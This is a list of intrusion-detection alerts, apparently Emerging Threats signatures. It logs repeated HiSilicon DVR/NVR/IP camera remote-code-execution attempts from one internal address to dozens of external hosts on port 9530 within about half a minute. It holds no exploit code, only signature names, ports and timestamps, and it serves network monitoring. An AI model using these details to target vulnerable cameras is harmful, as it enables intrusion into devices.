ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 174.23.108.97

Timestamp:	05/16/24-16:39:12.380687
SID:	2030487
Source Port:	51654
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.149.8.21

Timestamp:	05/16/24-16:39:02.762988
SID:	2030487
Source Port:	57356
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.149.8.21

Timestamp:	05/16/24-16:39:02.762988
SID:	2030488
Source Port:	57356
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 72.76.105.48

Timestamp:	05/16/24-16:39:05.707655
SID:	2030488
Source Port:	41334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 72.76.105.48

Timestamp:	05/16/24-16:39:05.707655
SID:	2030487
Source Port:	41334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 176.104.104.240

Timestamp:	05/16/24-16:38:53.011481
SID:	2030487
Source Port:	49162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.104.104.240

Timestamp:	05/16/24-16:38:53.011481
SID:	2030488
Source Port:	49162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 207.153.78.41

Timestamp:	05/16/24-16:38:53.066849
SID:	2030487
Source Port:	60048
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 133.136.75.177

Timestamp:	05/16/24-16:38:59.590314
SID:	2030488
Source Port:	32996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 133.136.75.177

Timestamp:	05/16/24-16:38:59.590314
SID:	2030487
Source Port:	32996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 34.5.112.199

Timestamp:	05/16/24-16:38:59.557132
SID:	2030487
Source Port:	41850
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 34.5.112.199

Timestamp:	05/16/24-16:38:59.557132
SID:	2030488
Source Port:	41850
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.105.143.6

Timestamp:	05/16/24-16:38:57.429271
SID:	2030487
Source Port:	43990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.105.143.6

Timestamp:	05/16/24-16:38:57.429271
SID:	2030488
Source Port:	43990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 170.169.13.103

Timestamp:	05/16/24-16:38:57.409442
SID:	2030488
Source Port:	48748
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 170.169.13.103

Timestamp:	05/16/24-16:38:57.409442
SID:	2030487
Source Port:	48748
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.129.10.124

Timestamp:	05/16/24-16:39:08.041856
SID:	2030487
Source Port:	38476
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.129.10.124

Timestamp:	05/16/24-16:39:08.041856
SID:	2030488
Source Port:	38476
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.55.42.202

Timestamp:	05/16/24-16:39:16.580745
SID:	2030487
Source Port:	58314
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.55.42.202

Timestamp:	05/16/24-16:39:16.580745
SID:	2030488
Source Port:	58314
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 207.153.78.41

Timestamp:	05/16/24-16:38:53.066849
SID:	2030488
Source Port:	60048
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 38.24.136.13

Timestamp:	05/16/24-16:39:14.513376
SID:	2030487
Source Port:	42030
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.159.219.168

Timestamp:	05/16/24-16:39:14.522043
SID:	2030487
Source Port:	56864
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.159.219.168

Timestamp:	05/16/24-16:39:14.522043
SID:	2030488
Source Port:	56864
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 38.24.136.13

Timestamp:	05/16/24-16:39:14.513376
SID:	2030488
Source Port:	42030
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.20.91.96

Timestamp:	05/16/24-16:39:03.277882
SID:	2030488
Source Port:	48490
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.20.91.96

Timestamp:	05/16/24-16:39:03.277882
SID:	2030487
Source Port:	48490
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 99.41.108.159

Timestamp:	05/16/24-16:38:55.196453
SID:	2030488
Source Port:	46584
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.41.99.137

Timestamp:	05/16/24-16:39:12.298348
SID:	2030487
Source Port:	44810
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 99.41.108.159

Timestamp:	05/16/24-16:38:55.196453
SID:	2030487
Source Port:	46584
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.41.99.137

Timestamp:	05/16/24-16:39:12.298348
SID:	2030488
Source Port:	44810
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.140.125.18

Timestamp:	05/16/24-16:39:03.276949
SID:	2030488
Source Port:	48544
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.140.125.18

Timestamp:	05/16/24-16:39:03.276949
SID:	2030487
Source Port:	48544
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.6.191.121

Timestamp:	05/16/24-16:39:14.531178
SID:	2030487
Source Port:	41026
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.213.104.239

Timestamp:	05/16/24-16:38:50.075682
SID:	2030488
Source Port:	46044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.6.191.121

Timestamp:	05/16/24-16:39:14.531178
SID:	2030488
Source Port:	41026
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.213.104.239

Timestamp:	05/16/24-16:38:50.075682
SID:	2030487
Source Port:	46044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 157.176.108.250

Timestamp:	05/16/24-16:38:53.071739
SID:	2030487
Source Port:	47070
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 157.176.108.250

Timestamp:	05/16/24-16:38:53.071739
SID:	2030488
Source Port:	47070
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.110.247.82

Timestamp:	05/16/24-16:39:05.706953
SID:	2030488
Source Port:	55446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.110.247.82

Timestamp:	05/16/24-16:39:05.706953
SID:	2030487
Source Port:	55446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 202.239.62.240

Timestamp:	05/16/24-16:38:55.175119
SID:	2030487
Source Port:	57912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 170.102.73.46

Timestamp:	05/16/24-16:39:03.253939
SID:	2030487
Source Port:	52820
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 70.148.216.76

Timestamp:	05/16/24-16:39:03.263628
SID:	2030487
Source Port:	37890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 70.148.216.76

Timestamp:	05/16/24-16:39:03.263628
SID:	2030488
Source Port:	37890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 51.194.116.32

Timestamp:	05/16/24-16:38:55.187261
SID:	2030487
Source Port:	45072
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 51.194.116.32

Timestamp:	05/16/24-16:38:55.187261
SID:	2030488
Source Port:	45072
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 164.1.191.57

Timestamp:	05/16/24-16:39:08.136454
SID:	2030487
Source Port:	51318
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.1.191.57

Timestamp:	05/16/24-16:39:08.136454
SID:	2030488
Source Port:	51318
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 202.239.62.240

Timestamp:	05/16/24-16:38:55.175119
SID:	2030488
Source Port:	57912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 121.81.102.231

Timestamp:	05/16/24-16:38:57.305763
SID:	2030488
Source Port:	60540
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 149.72.28.48

Timestamp:	05/16/24-16:39:05.699207
SID:	2030488
Source Port:	50994
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 121.81.102.231

Timestamp:	05/16/24-16:38:57.305763
SID:	2030487
Source Port:	60540
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 149.72.28.48

Timestamp:	05/16/24-16:39:05.699207
SID:	2030487
Source Port:	50994
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.255.228.56

Timestamp:	05/16/24-16:39:03.268511
SID:	2030488
Source Port:	56746
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.255.228.56

Timestamp:	05/16/24-16:39:03.268511
SID:	2030487
Source Port:	56746
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.84.187.26

Timestamp:	05/16/24-16:39:14.517557
SID:	2030488
Source Port:	38410
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 183.168.36.168

Timestamp:	05/16/24-16:39:03.260995
SID:	2030488
Source Port:	47980
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.84.187.26

Timestamp:	05/16/24-16:39:14.517557
SID:	2030487
Source Port:	38410
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 183.168.36.168

Timestamp:	05/16/24-16:39:03.260995
SID:	2030487
Source Port:	47980
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 129.100.29.7

Timestamp:	05/16/24-16:39:12.384778
SID:	2030487
Source Port:	48956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 129.100.29.7

Timestamp:	05/16/24-16:39:12.384778
SID:	2030488
Source Port:	48956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.88.99.123

Timestamp:	05/16/24-16:39:02.746758
SID:	2030487
Source Port:	37824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 194.230.254.188

Timestamp:	05/16/24-16:38:57.441180
SID:	2030487
Source Port:	39780
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.88.99.123

Timestamp:	05/16/24-16:39:02.746758
SID:	2030488
Source Port:	37824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 194.230.254.188

Timestamp:	05/16/24-16:38:57.441180
SID:	2030488
Source Port:	39780
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 188.157.189.33

Timestamp:	05/16/24-16:39:12.301187
SID:	2030487
Source Port:	35276
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.157.189.33

Timestamp:	05/16/24-16:39:12.301187
SID:	2030488
Source Port:	35276
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.200.180.160

Timestamp:	05/16/24-16:38:53.100306
SID:	2030488
Source Port:	44294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.200.180.160

Timestamp:	05/16/24-16:38:53.100306
SID:	2030487
Source Port:	44294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 46.194.50.194

Timestamp:	05/16/24-16:39:08.127963
SID:	2030487
Source Port:	57798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.246.117.226

Timestamp:	05/16/24-16:39:16.603142
SID:	2030487
Source Port:	45120
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.194.50.194

Timestamp:	05/16/24-16:39:08.127963
SID:	2030488
Source Port:	57798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.246.117.226

Timestamp:	05/16/24-16:39:16.603142
SID:	2030488
Source Port:	45120
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.14.19.28

Timestamp:	05/16/24-16:39:16.580466
SID:	2030487
Source Port:	59748
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.14.19.28

Timestamp:	05/16/24-16:39:16.580466
SID:	2030488
Source Port:	59748
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.42.221.242

Timestamp:	05/16/24-16:38:55.220925
SID:	2030487
Source Port:	50470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.24.136.162

Timestamp:	05/16/24-16:39:14.507623
SID:	2030487
Source Port:	50552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.24.136.162

Timestamp:	05/16/24-16:39:14.507623
SID:	2030488
Source Port:	50552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.42.221.242

Timestamp:	05/16/24-16:38:55.220925
SID:	2030488
Source Port:	50470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 99.161.7.234

Timestamp:	05/16/24-16:39:03.277875
SID:	2030487
Source Port:	34860
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 99.161.7.234

Timestamp:	05/16/24-16:39:03.277875
SID:	2030488
Source Port:	34860
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 205.153.95.155

Timestamp:	05/16/24-16:39:08.149089
SID:	2030487
Source Port:	57120
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 83.38.166.56

Timestamp:	05/16/24-16:38:59.519288
SID:	2030487
Source Port:	48114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 205.153.95.155

Timestamp:	05/16/24-16:39:08.149089
SID:	2030488
Source Port:	57120
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 102.78.225.124

Timestamp:	05/16/24-16:39:12.303997
SID:	2030488
Source Port:	52330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 102.78.225.124

Timestamp:	05/16/24-16:39:12.303997
SID:	2030487
Source Port:	52330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.216.94.82

Timestamp:	05/16/24-16:38:59.590342
SID:	2030487
Source Port:	60458
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 153.139.33.237

Timestamp:	05/16/24-16:39:14.518764
SID:	2030488
Source Port:	51862
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 153.139.33.237

Timestamp:	05/16/24-16:39:14.518764
SID:	2030487
Source Port:	51862
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.167.145.178

Timestamp:	05/16/24-16:39:14.529048
SID:	2030488
Source Port:	36114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 95.167.145.178

Timestamp:	05/16/24-16:39:14.529048
SID:	2030487
Source Port:	36114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.216.94.82

Timestamp:	05/16/24-16:38:59.590342
SID:	2030488
Source Port:	60458
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 70.149.45.137

Timestamp:	05/16/24-16:39:12.382772
SID:	2030487
Source Port:	52880
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 70.149.45.137

Timestamp:	05/16/24-16:39:12.382772
SID:	2030488
Source Port:	52880
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.64.21.220

Timestamp:	05/16/24-16:39:08.128044
SID:	2030487
Source Port:	46092
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.222.123.190

Timestamp:	05/16/24-16:39:03.256892
SID:	2030487
Source Port:	54506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 108.154.10.30

Timestamp:	05/16/24-16:38:59.557982
SID:	2030488
Source Port:	60998
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.222.123.190

Timestamp:	05/16/24-16:39:03.256892
SID:	2030488
